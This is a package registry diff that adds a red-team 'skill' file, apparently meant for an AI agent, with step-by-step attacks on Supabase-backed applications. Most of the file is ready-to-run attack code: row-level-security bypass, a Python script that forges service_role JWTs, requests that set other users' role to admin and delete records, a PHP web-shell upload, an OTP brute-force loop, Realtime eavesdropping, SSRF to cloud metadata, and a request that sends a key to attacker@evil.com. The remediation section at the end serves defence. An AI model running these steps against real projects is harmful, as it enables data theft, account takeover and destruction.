rtexit-method 0.1.10 → 0.1.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rtexit-method",
3
- "version": "0.1.10",
3
+ "version": "0.1.11",
4
4
  "description": "RTExit - AI-assisted Red Team methodology installer",
5
5
  "license": "MIT",
6
6
  "author": "Exit Code",
@@ -0,0 +1,402 @@
1
+ ---
2
+ name: rt-supabase
3
+ description: "Supabase security testing skill for authorized engagements. Row-Level Security (RLS) policy bypass, anon key abuse for unauthorized data access, service role key exposure, PostgREST API horizontal privilege escalation, JWT manipulation for role escalation, schema disclosure via introspection, Supabase Storage bucket misconfiguration, Realtime channel eavesdropping, Edge Function exploitation, and auth bypass techniques. Use when engagement scope includes Supabase-backed applications."
4
+ ---
5
+
6
+ # rt-supabase — Supabase Security Testing
7
+
8
+ ## Overview
9
+
10
+ Supabase is an open-source Firebase alternative built on PostgreSQL, PostgREST, GoTrue auth, and Realtime. Its architecture creates unique attack surfaces: the `anon` key is intentionally public but often misconfigured, RLS policies have logical gaps, and the PostgREST API exposes the entire database schema by default. A single misconfiguration can expose all user data.
11
+
12
+ **Attack surfaces:**
13
+ - PostgREST REST API (direct DB access)
14
+ - Row-Level Security (RLS) policy bypass
15
+ - JWT role escalation (anon → authenticated → service_role)
16
+ - Supabase Storage (public/private buckets)
17
+ - Realtime subscriptions (unauthorized channel access)
18
+ - Edge Functions (serverless function exploitation)
19
+ - Auth endpoints (GoTrue authentication bypass)
20
+
21
+ ---
22
+
23
+ ## Phase 1 — Discovery & Enumeration
24
+
25
+ ```bash
26
+ # Supabase URL pattern: https://PROJECT_ID.supabase.co
27
+ # Find project ID from source code, network requests, JS bundles
28
+
29
+ # Fingerprint Supabase
30
+ curl -I https://PROJECT_ID.supabase.co/rest/v1/
31
+ # Returns: X-Powered-By: PostgREST
32
+
33
+ # Extract anon key from JS bundle (it's meant to be public but often over-privileged)
34
+ grep -r "supabaseKey\|SUPABASE_ANON_KEY\|supabase_anon_key\|eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" \
35
+ ./js_files/
36
+
37
+ # Anon key is a JWT — decode to understand permissions
38
+ echo "ANON_KEY" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
39
+ # Payload: {"role": "anon", "iss": "supabase", ...}
40
+
41
+ # Discover all exposed tables via PostgREST introspection
42
+ curl "https://PROJECT_ID.supabase.co/rest/v1/" \
43
+ -H "apikey: ANON_KEY" \
44
+ -H "Authorization: Bearer ANON_KEY"
45
+ # Returns: OpenAPI spec listing ALL tables and their columns
46
+
47
+ # Or via OPTIONS request
48
+ curl -X OPTIONS "https://PROJECT_ID.supabase.co/rest/v1/" \
49
+ -H "apikey: ANON_KEY" | python3 -m json.tool
50
+ ```
51
+
52
+ ---
53
+
54
+ ## Phase 2 — RLS Bypass Techniques
55
+
56
+ ```bash
57
+ # RLS (Row-Level Security) controls which rows each user can access
58
+ # Misconfigured RLS = read/write other users' data
59
+
60
+ # Test 1: Table with no RLS at all
61
+ curl "https://PROJECT_ID.supabase.co/rest/v1/users" \
62
+ -H "apikey: ANON_KEY" \
63
+ -H "Authorization: Bearer ANON_KEY"
64
+ # If returns all users → RLS not enabled on this table
65
+
66
+ # Test 2: RLS enabled but policy is too permissive
67
+ # Common bad policy: "FOR SELECT USING (true)" = everyone can read everything
68
+ curl "https://PROJECT_ID.supabase.co/rest/v1/profiles?select=*" \
69
+ -H "apikey: ANON_KEY" \
70
+ -H "Authorization: Bearer ANON_KEY"
71
+
72
+ # Test 3: RLS policy checks auth.uid() but not properly
73
+ # Log in as User A → try to access User B's data by manipulating filters
74
+ TOKEN_A="JWT_OF_USER_A"
75
+ # Normal: /rest/v1/orders?user_id=eq.USER_A_ID → returns A's orders
76
+ # Attack: /rest/v1/orders?user_id=eq.USER_B_ID → should be blocked by RLS
77
+ curl "https://PROJECT_ID.supabase.co/rest/v1/orders?user_id=eq.USER_B_ID" \
78
+ -H "apikey: ANON_KEY" \
79
+ -H "Authorization: Bearer $TOKEN_A"
80
+ # If returns B's orders → IDOR via RLS bypass
81
+
82
+ # Test 4: RLS on main table but not on joined/related tables
83
+ curl "https://PROJECT_ID.supabase.co/rest/v1/orders?select=*,user_profiles(*)" \
84
+ -H "apikey: ANON_KEY" \
85
+ -H "Authorization: Bearer $TOKEN_A"
86
+ # user_profiles may not have RLS → exposed via JOIN
87
+
88
+ # Test 5: RLS bypass via Postgres functions (SECURITY DEFINER)
89
+ # Functions marked SECURITY DEFINER run as function owner, bypass RLS
90
+ # Find exposed RPC endpoints:
91
+ curl "https://PROJECT_ID.supabase.co/rest/v1/rpc/" \
92
+ -H "apikey: ANON_KEY"
93
+ # Call functions that might bypass RLS
94
+ curl -X POST "https://PROJECT_ID.supabase.co/rest/v1/rpc/get_all_users" \
95
+ -H "apikey: ANON_KEY" \
96
+ -H "Authorization: Bearer ANON_KEY" \
97
+ -H "Content-Type: application/json" \
98
+ -d '{}'
99
+ ```
100
+
101
+ ---
102
+
103
+ ## Phase 3 — JWT Role Escalation
104
+
105
+ ```bash
106
+ # Supabase JWT roles: anon < authenticated < service_role
107
+ # service_role bypasses ALL RLS — full database access
108
+
109
+ # Step 1: Find the JWT secret
110
+ # Secret is used to sign tokens — if weak or leaked → forge tokens
111
+ # Check: source code, .env files, GitHub repos
112
+ grep -r "SUPABASE_JWT_SECRET\|jwt_secret\|JWT_SECRET" . --include="*.env*"
113
+ trufflehog github --org=TARGET_ORG | grep -i "supabase\|jwt"
114
+
115
+ # Step 2: Forge service_role JWT (if secret known)
116
+ python3 << 'EOF'
117
+ import jwt, time
118
+
119
+ # If you found the JWT secret
120
+ secret = "FOUND_JWT_SECRET"
121
+
122
+ # Forge service_role token
123
+ payload = {
124
+ "iss": "supabase",
125
+ "ref": "PROJECT_ID",
126
+ "role": "service_role",
127
+ "iat": int(time.time()),
128
+ "exp": int(time.time()) + 86400
129
+ }
130
+ token = jwt.encode(payload, secret, algorithm="HS256")
131
+ print(f"service_role token: {token}")
132
+ EOF
133
+
134
+ # Step 3: Use service_role token → bypasses all RLS
135
+ curl "https://PROJECT_ID.supabase.co/rest/v1/users?select=*" \
136
+ -H "apikey: FORGED_SERVICE_ROLE_TOKEN" \
137
+ -H "Authorization: Bearer FORGED_SERVICE_ROLE_TOKEN"
138
+ # Returns ALL users with no RLS filtering
139
+
140
+ # Step 4: Role claim manipulation in user JWT
141
+ # If app doesn't validate role claim server-side:
142
+ python3 << 'EOF'
143
+ import jwt, time
144
+
145
+ # Take existing anon token and modify role
146
+ # (Only works if secret is known or JWT not properly verified)
147
+ secret = "FOUND_SECRET"
148
+ payload = {
149
+ "iss": "supabase",
150
+ "ref": "PROJECT_ID",
151
+ "role": "authenticated", # Upgrade from anon
152
+ "sub": "00000000-0000-0000-0000-000000000001", # admin user UUID
153
+ "email": "admin@corp.com",
154
+ "iat": int(time.time()),
155
+ "exp": int(time.time()) + 86400
156
+ }
157
+ token = jwt.encode(payload, secret, algorithm="HS256")
158
+ print(token)
159
+ EOF
160
+ ```
161
+
162
+ ---
163
+
164
+ ## Phase 4 — PostgREST API Exploitation
165
+
166
+ ```bash
167
+ # PostgREST exposes full CRUD on all tables (subject to RLS)
168
+ # Test all HTTP methods
169
+
170
+ # Read all data
171
+ curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE_NAME?select=*" \
172
+ -H "apikey: ANON_KEY" \
173
+ -H "Authorization: Bearer USER_TOKEN"
174
+
175
+ # Write / create records (if INSERT policy misconfigured)
176
+ curl -X POST "https://PROJECT_ID.supabase.co/rest/v1/TABLE_NAME" \
177
+ -H "apikey: ANON_KEY" \
178
+ -H "Authorization: Bearer USER_TOKEN" \
179
+ -H "Content-Type: application/json" \
180
+ -d '{"user_id": "OTHER_USER_UUID", "data": "injected"}'
181
+
182
+ # Update other users' records (if UPDATE policy misconfigured)
183
+ curl -X PATCH "https://PROJECT_ID.supabase.co/rest/v1/profiles?id=eq.OTHER_USER_ID" \
184
+ -H "apikey: ANON_KEY" \
185
+ -H "Authorization: Bearer MY_TOKEN" \
186
+ -H "Content-Type: application/json" \
187
+ -d '{"role": "admin"}'
188
+
189
+ # Delete records
190
+ curl -X DELETE "https://PROJECT_ID.supabase.co/rest/v1/TABLE?id=eq.VICTIM_ID" \
191
+ -H "apikey: ANON_KEY" \
192
+ -H "Authorization: Bearer MY_TOKEN"
193
+
194
+ # PostgREST column selection — try to access hidden columns
195
+ curl "https://PROJECT_ID.supabase.co/rest/v1/users?select=id,email,password,raw_user_meta_data" \
196
+ -H "apikey: ANON_KEY"
197
+
198
+ # Filter bypass — access all rows
199
+ curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE?select=*&limit=1000" \
200
+ -H "apikey: ANON_KEY"
201
+
202
+ # Full-text search for sensitive data
203
+ curl "https://PROJECT_ID.supabase.co/rest/v1/TABLE?content=fts.password" \
204
+ -H "apikey: ANON_KEY"
205
+ ```
206
+
207
+ ---
208
+
209
+ ## Phase 5 — Storage Bucket Attacks
210
+
211
+ ```bash
212
+ # Supabase Storage: S3-compatible object storage
213
+ # Buckets can be public or private (private requires RLS)
214
+
215
+ # List all buckets
216
+ curl "https://PROJECT_ID.supabase.co/storage/v1/bucket" \
217
+ -H "apikey: ANON_KEY" \
218
+ -H "Authorization: Bearer ANON_KEY"
219
+
220
+ # List files in a bucket
221
+ curl "https://PROJECT_ID.supabase.co/storage/v1/object/list/BUCKET_NAME" \
222
+ -H "apikey: ANON_KEY" \
223
+ -H "Authorization: Bearer ANON_KEY" \
224
+ -H "Content-Type: application/json" \
225
+ -d '{"prefix": "", "limit": 100}'
226
+
227
+ # Download files from public bucket (no auth needed)
228
+ curl "https://PROJECT_ID.supabase.co/storage/v1/object/public/BUCKET/file.pdf"
229
+
230
+ # Download from private bucket (if RLS misconfigured)
231
+ curl "https://PROJECT_ID.supabase.co/storage/v1/object/authenticated/BUCKET/private.pdf" \
232
+ -H "apikey: ANON_KEY" \
233
+ -H "Authorization: Bearer ANON_KEY"
234
+
235
+ # Path traversal in storage
236
+ curl "https://PROJECT_ID.supabase.co/storage/v1/object/public/BUCKET/../../../etc/passwd"
237
+
238
+ # Upload to bucket (if insert policy open)
239
+ curl -X POST "https://PROJECT_ID.supabase.co/storage/v1/object/BUCKET/shell.php" \
240
+ -H "apikey: ANON_KEY" \
241
+ -H "Authorization: Bearer USER_TOKEN" \
242
+ -H "Content-Type: application/octet-stream" \
243
+ --data-binary "<?php system(\$_GET['c']); ?>"
244
+ ```
245
+
246
+ ---
247
+
248
+ ## Phase 6 — Auth Bypass (GoTrue)
249
+
250
+ ```bash
251
+ # GoTrue handles Supabase authentication
252
+ # Test for auth vulnerabilities
253
+
254
+ # User enumeration via password reset
255
+ curl -X POST "https://PROJECT_ID.supabase.co/auth/v1/recover" \
256
+ -H "apikey: ANON_KEY" \
257
+ -H "Content-Type: application/json" \
258
+ -d '{"email": "victim@corp.com"}'
259
+ # Different response for existing vs non-existing email = enumeration
260
+
261
+ # Sign up with existing email (check error message)
262
+ curl -X POST "https://PROJECT_ID.supabase.co/auth/v1/signup" \
263
+ -H "apikey: ANON_KEY" \
264
+ -H "Content-Type: application/json" \
265
+ -d '{"email": "admin@corp.com", "password": "test123"}'
266
+
267
+ # OTP brute force (if rate limiting weak)
268
+ for code in $(seq -w 000000 999999); do
269
+ r=$(curl -s -X POST "https://PROJECT_ID.supabase.co/auth/v1/verify" \
270
+ -H "apikey: ANON_KEY" \
271
+ -H "Content-Type: application/json" \
272
+ -d "{\"type\":\"recovery\",\"token\":\"$code\",\"email\":\"victim@corp.com\"}")
273
+ echo "$code: $r" | grep -v "Token has expired"
274
+ done
275
+
276
+ # OAuth provider misconfiguration
277
+ # Check which providers are enabled
278
+ curl "https://PROJECT_ID.supabase.co/auth/v1/settings" \
279
+ -H "apikey: ANON_KEY"
280
+
281
+ # Admin API (requires service_role)
282
+ curl "https://PROJECT_ID.supabase.co/auth/v1/admin/users" \
283
+ -H "apikey: SERVICE_ROLE_KEY" # If service_role key found → dump all users
284
+ ```
285
+
286
+ ---
287
+
288
+ ## Phase 7 — Realtime Channel Eavesdropping
289
+
290
+ ```javascript
291
+ // Supabase Realtime: WebSocket-based live data
292
+ // If channel doesn't check auth → any user can subscribe to any table changes
293
+
294
+ const { createClient } = require('@supabase/supabase-js')
295
+
296
+ const supabase = createClient(
297
+ 'https://PROJECT_ID.supabase.co',
298
+ 'ANON_KEY' // Use anon key (unauthenticated)
299
+ )
300
+
301
+ // Subscribe to ALL changes on sensitive tables
302
+ const channel = supabase
303
+ .channel('all-changes')
304
+ .on('postgres_changes',
305
+ { event: '*', schema: 'public', table: 'orders' },
306
+ (payload) => {
307
+ console.log('Intercepted:', payload)
308
+ // Receives: INSERT/UPDATE/DELETE events with full row data
309
+ }
310
+ )
311
+ .subscribe()
312
+
313
+ // Try different tables
314
+ const tables = ['users', 'profiles', 'messages', 'payments', 'orders']
315
+ tables.forEach(table => {
316
+ supabase.channel(`spy-${table}`)
317
+ .on('postgres_changes', { event: '*', schema: 'public', table },
318
+ payload => console.log(`${table}:`, payload))
319
+ .subscribe()
320
+ })
321
+ ```
322
+
323
+ ---
324
+
325
+ ## Phase 8 — Edge Function Exploitation
326
+
327
+ ```bash
328
+ # Supabase Edge Functions = Deno-based serverless functions
329
+ # Endpoint: https://PROJECT_ID.supabase.co/functions/v1/FUNCTION_NAME
330
+
331
+ # Enumerate functions (often discoverable from source code)
332
+ curl "https://PROJECT_ID.supabase.co/functions/v1/" \
333
+ -H "Authorization: Bearer ANON_KEY"
334
+
335
+ # Test without auth
336
+ curl "https://PROJECT_ID.supabase.co/functions/v1/admin-action"
337
+
338
+ # Test with anon key only
339
+ curl "https://PROJECT_ID.supabase.co/functions/v1/process-payment" \
340
+ -H "Authorization: Bearer ANON_KEY" \
341
+ -H "Content-Type: application/json" \
342
+ -d '{"amount": -100}' # Negative amount
343
+
344
+ # SSRF via Edge Function
345
+ curl -X POST "https://PROJECT_ID.supabase.co/functions/v1/fetch-url" \
346
+ -H "Authorization: Bearer ANON_KEY" \
347
+ -d '{"url": "http://169.254.169.254/latest/meta-data/"}'
348
+
349
+ # Inject env variables via function input (if poorly sandboxed)
350
+ curl -X POST "https://PROJECT_ID.supabase.co/functions/v1/send-email" \
351
+ -d '{"to": "attacker@evil.com", "template": "../../service_role_key"}'
352
+ ```
353
+
354
+ ---
355
+
356
+ ## Finding Documentation
357
+
358
+ ```
359
+ Finding: Supabase RLS Bypass — Unauthorized Data Access
360
+ Severity: CRITICAL
361
+ CVSS: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
362
+ CWE: CWE-284 (Improper Access Control)
363
+
364
+ Evidence:
365
+ - curl command showing access to other users' records
366
+ - Number of records accessible (e.g., "returned 15,234 user records")
367
+ - Screenshot of sensitive data returned
368
+
369
+ Impact:
370
+ - Full read/write access to all user data
371
+ - PII exposure (emails, addresses, payment info)
372
+ - Account takeover via profile modification
373
+
374
+ Remediation:
375
+ 1. Enable RLS on ALL tables: ALTER TABLE name ENABLE ROW LEVEL SECURITY
376
+ 2. Create proper policies: CREATE POLICY "users_own_data" ON table
377
+ FOR ALL USING (auth.uid() = user_id)
378
+ 3. Never expose service_role key client-side
379
+ 4. Audit all SECURITY DEFINER functions
380
+ 5. Enable storage bucket RLS policies
381
+ ```
382
+
383
+ ---
384
+
385
+ ## Skill Levels
386
+
387
+ **BEGINNER:** anon key extraction → table enumeration via OpenAPI → test for missing RLS
388
+
389
+ **INTERMEDIATE:** RLS bypass via IDOR filters · Storage bucket misconfiguration · Auth user enumeration
390
+
391
+ **ADVANCED:** JWT secret extraction → service_role token forgery → full RLS bypass · Realtime eavesdropping
392
+
393
+ **EXPERT:** SECURITY DEFINER function abuse · Edge Function SSRF · Realtime + RLS chain for persistent access
394
+
395
+ ---
396
+
397
+ ## References
398
+
399
+ - Supabase Security Guide: https://supabase.com/docs/guides/auth/row-level-security
400
+ - PostgREST docs: https://postgrest.org/en/stable/
401
+ - HackerOne Supabase reports: https://hackerone.com/supabase
402
+ - MITRE T1213: https://attack.mitre.org/techniques/T1213/